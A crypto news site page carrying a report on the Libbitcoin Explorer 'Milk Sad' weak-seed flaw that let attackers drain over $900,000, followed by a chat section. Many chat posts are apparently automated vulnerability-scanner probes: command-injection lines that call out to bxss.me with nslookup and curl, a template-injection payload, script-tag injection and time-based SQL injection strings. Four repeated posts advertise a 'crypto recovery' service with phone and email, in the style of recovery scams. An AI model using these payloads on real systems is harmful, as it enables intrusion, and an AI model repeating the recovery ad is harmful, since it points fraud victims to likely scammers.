Русский
EnglishCryptocurrencies:
9549 /
Markets: 112919
Market Cap: $ 3 752 086 751 938 /
24h Vol: $ 416 112 816 257 /
BTC
Dominance: 60.08963291637%
News
Newly discovered Bitcoin wallet loophole let hackers steal $900K — SlowMist
A series of attacks drained the wallets of BTC users by exploiting a faulty random seed generation algorithm.
A newly discovered vulnerability in the Libbitcoin Explorer 3.x library has allowed over $900,000 to be stolen from Bitcoin users, according to a report from blockchain security firm SlowMist. The vulnerability can also affect users of Ethereum, Ripple, Dogecoin, Solana, Litecoin, Bitcoin Cash and Zcash who use Libbitcoin to generate accounts.
SlowMist Security Alert
— SlowMist (@SlowMist_Team) August 10, 2023
Recently, #Distrust discovered a severe vulnerability affecting cryptocurrency wallets using the #Libbitcoin Explorer 3.x versions. This vulnerability allows attackers to access wallet private keys by exploiting the Mersenne Twister pseudo-random…
Libbitcoin is a Bitcoin wallet implementation that developers and validators sometimes use to create Bitcoin (BTC) and other cryptocurrency accounts. According to its official website, it is used by “Airbitz (mobile wallet), Bitprim (developer interface), Blockchain Commons (decentralized wallet identity), Cancoin (decentralized exchange)” and other applications. SlowMist did not specify which applications that use Libbitcoin, if any, are affected by the vulnerability.
Cointelegraph reached out to the Libbitcoin Institute through email but had not received a comment at the time of publication.
SlowMist identified cybersecurity team “Distrust" as the team that originally discovered the loophole, which is called the “Milk Sad” vulnerability. It was reported to the CEV cybersecurity vulnerability database on Aug. 7.
According to the post, the Libbitcoin Explorer has a faulty key generation mechanism, allowing private keys to be guessed by attackers. As a result, attackers exploited this vulnerability to steal over $900,000 worth of crypto as of Aug. 10.
SlowMist emphasized that one attack in particular siphoned away over 9.7441 BTC (approximately $278,318). The firm claims to have “blocked” the address, implying that the team has contacted exchanges to prevent the attacker from cashing out the funds. The team also stated that it will be monitoring the address in case funds are moved elsewhere.
Four members of the Distrust team, along with eight freelance security consultants who claim to have helped discover the vulnerability, have set up an informational website explaining the vulnerability. They explained that the loophole is created when users employ the “bx seed” command to generate a wallet seed. This command “uses the Mersenne Twister pseudorandom number generator (PRNG) initialized with 32 bits of system time,” which lacks sufficient randomness and therefore sometimes produces the same seed for multiple persons.
Bx seed command producing the same seed twice. Source: Milk Sad information siteThe researchers claim to have discovered the vulnerability when they were contacted by a Libbitcoin user whose BTC had mysteriously gone missing on July 21. When the user reached out to other Libbitcoin users to try to determine how the BTC could have gone missing, the person found that other users were also having their BTC siphoned away.
Wallet vulnerabilities continue to pose a problem for crypto users in 2023. Over $100 million was lost in a hack of the Atomic Wallet in June, which was acknowledged by the app’s team on June 22. Cybersecurity certification platform CER released its wallet security rankings in July, noting that only six out of 45 wallet brands employ penetration testing to discover vulnerabilities.
-
09.10.25 08:08
pHqghUme
can I ask you a question please?&echo nrqmto$()\ aadrei\nz^xyu||a #' &echo nrqmto$()\ aadrei\nz^xyu||a #|" &echo nrqmto$()\ aadrei\nz^xyu||a #
-
09.10.25 08:08
pHqghUme
|echo oljujl$()\ pbqbzp\nz^xyu||a #' |echo oljujl$()\ pbqbzp\nz^xyu||a #|" |echo oljujl$()\ pbqbzp\nz^xyu||a #
-
09.10.25 08:08
pHqghUme
can I ask you a question please?|echo qswrbu$()\ ovnycc\nz^xyu||a #' |echo qswrbu$()\ ovnycc\nz^xyu||a #|" |echo qswrbu$()\ ovnycc\nz^xyu||a #
-
09.10.25 08:08
pHqghUme
expr 9000227416 - 917575
-
09.10.25 08:08
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:08
pHqghUme
(nslookup -q=cname hitrirljyvgim44c57.bxss.me||curl hitrirljyvgim44c57.bxss.me))
-
09.10.25 08:08
pHqghUme
$(nslookup -q=cname hitnaasjhmbqf44699.bxss.me||curl hitnaasjhmbqf44699.bxss.me)
-
09.10.25 08:08
pHqghUme
&nslookup -q=cname hitdjgcbtalqm528b9.bxss.me&'\"`0&nslookup -q=cname hitdjgcbtalqm528b9.bxss.me&`'
-
09.10.25 08:08
pHqghUme
&(nslookup -q=cname hitgrfzhgegxdb7bdf.bxss.me||curl hitgrfzhgegxdb7bdf.bxss.me)&'\"`0&(nslookup -q=cname hitgrfzhgegxdb7bdf.bxss.me||curl hitgrfzhgegxdb7bdf.bxss.me)&`'
-
09.10.25 08:08
pHqghUme
|(nslookup -q=cname hitfmymffseet6e8b2.bxss.me||curl hitfmymffseet6e8b2.bxss.me)
-
09.10.25 08:08
pHqghUme
`(nslookup -q=cname hitohduurqhba06a59.bxss.me||curl hitohduurqhba06a59.bxss.me)`
-
09.10.25 08:08
pHqghUme
;(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)|(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)&(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)
-
09.10.25 08:08
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:08
pHqghUme
|(nslookup${IFS}-q${IFS}cname${IFS}hitanwkhusxwr37069.bxss.me||curl${IFS}hitanwkhusxwr37069.bxss.me)
-
09.10.25 08:09
pHqghUme
&(nslookup${IFS}-q${IFS}cname${IFS}hitochckpfbtw00d29.bxss.me||curl${IFS}hitochckpfbtw00d29.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitochckpfbtw00d29.bxss.me||curl${IFS}hitochckpfbtw00d29.bxss.me)&`'
-
09.10.25 08:09
pHqghUme
can I ask you a question please?
-
09.10.25 08:09
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:09
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:09
pHqghUme
e
-
09.10.25 08:11
pHqghUme
e
-
09.10.25 08:11
pHqghUme
e
-
09.10.25 08:11
pHqghUme
e
-
09.10.25 08:11
pHqghUme
can I ask you a question please?
-
09.10.25 08:12
pHqghUme
can I ask you a question please?
-
09.10.25 08:12
pHqghUme
can I ask you a question please?
-
09.10.25 08:12
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:13
pHqghUme
can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>
-
09.10.25 08:13
pHqghUme
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}
-
09.10.25 08:13
pHqghUme
'"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>
-
09.10.25 08:13
pHqghUme
can I ask you a question please?9425407
-
09.10.25 08:13
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:14
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:16
pHqghUme
e
-
09.10.25 08:17
pHqghUme
e
-
09.10.25 08:17
pHqghUme
e
-
09.10.25 08:17
pHqghUme
"+response.write(9043995*9352716)+"
-
09.10.25 08:17
pHqghUme
can I ask you a question please?
-
09.10.25 08:17
pHqghUme
can I ask you a question please?
-
09.10.25 08:17
pHqghUme
can I ask you a question please?
-
09.10.25 08:18
pHqghUme
can I ask you a question please?
-
09.10.25 08:18
pHqghUme
$(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)
-
09.10.25 08:18
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:18
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:18
pHqghUme
|(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)
-
09.10.25 08:18
pHqghUme
|(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)
-
09.10.25 08:18
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:19
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:20
pHqghUme
e
-
09.10.25 08:20
pHqghUme
e
-
09.10.25 08:21
pHqghUme
e
-
09.10.25 08:21
pHqghUme
e
-
09.10.25 08:21
pHqghUme
can I ask you a question please?
-
09.10.25 08:22
pHqghUme
can I ask you a question please?
-
09.10.25 08:22
pHqghUme
can I ask you a question please?
-
09.10.25 08:22
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:22
pHqghUme
if(now()=sysdate(),sleep(15),0)
-
09.10.25 08:22
pHqghUme
can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
-
09.10.25 08:23
pHqghUme
can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
-
09.10.25 08:23
pHqghUme
can I ask you a question please?
-
09.10.25 08:23
pHqghUme
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-
09.10.25 08:24
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:24
pHqghUme
e
-
09.10.25 08:24
pHqghUme
can I ask you a question please?-1 waitfor delay '0:0:15' --
-
09.10.25 08:25
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:25
pHqghUme
e
-
09.10.25 08:25
pHqghUme
e
-
09.10.25 08:25
pHqghUme
e
-
09.10.25 08:25
pHqghUme
can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --
-
09.10.25 08:26
pHqghUme
can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--
-
09.10.25 08:26
pHqghUme
e
-
09.10.25 08:27
pHqghUme
can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--
-
09.10.25 08:27
pHqghUme
can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--
-
09.10.25 08:28
pHqghUme
can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
-
09.10.25 08:28
pHqghUme
can I ask you a question please?'"
-
09.10.25 08:28
pHqghUme
can I ask you a question please?
-
09.10.25 08:28
pHqghUme
@@olQP6
-
09.10.25 08:28
pHqghUme
(select 198766*667891 from DUAL)
-
09.10.25 08:28
pHqghUme
(select 198766*667891)
-
09.10.25 08:30
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:33
pHqghUme
can I ask you a question please?
-
09.10.25 08:34
pHqghUme
can I ask you a question please?
-
09.10.25 08:34
pHqghUme
if(now()=sysdate(),sleep(15),0)
-
09.10.25 08:35
pHqghUme
e
-
09.10.25 08:36
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:36
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:37
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:37
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:37
pHqghUme
e
-
09.10.25 08:37
pHqghUme
e
-
09.10.25 08:40
pHqghUme
can I ask you a question please?
-
09.10.25 08:40
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:41
pHqghUme
e
-
09.10.25 08:41
pHqghUme
can I ask you a question please?
-
09.10.25 08:42
pHqghUme
can I ask you a question please?
-
09.10.25 08:42
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:42
pHqghUme
e
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
To join the Chat, you need a free pro-blockchain.com account.
Enter
Registration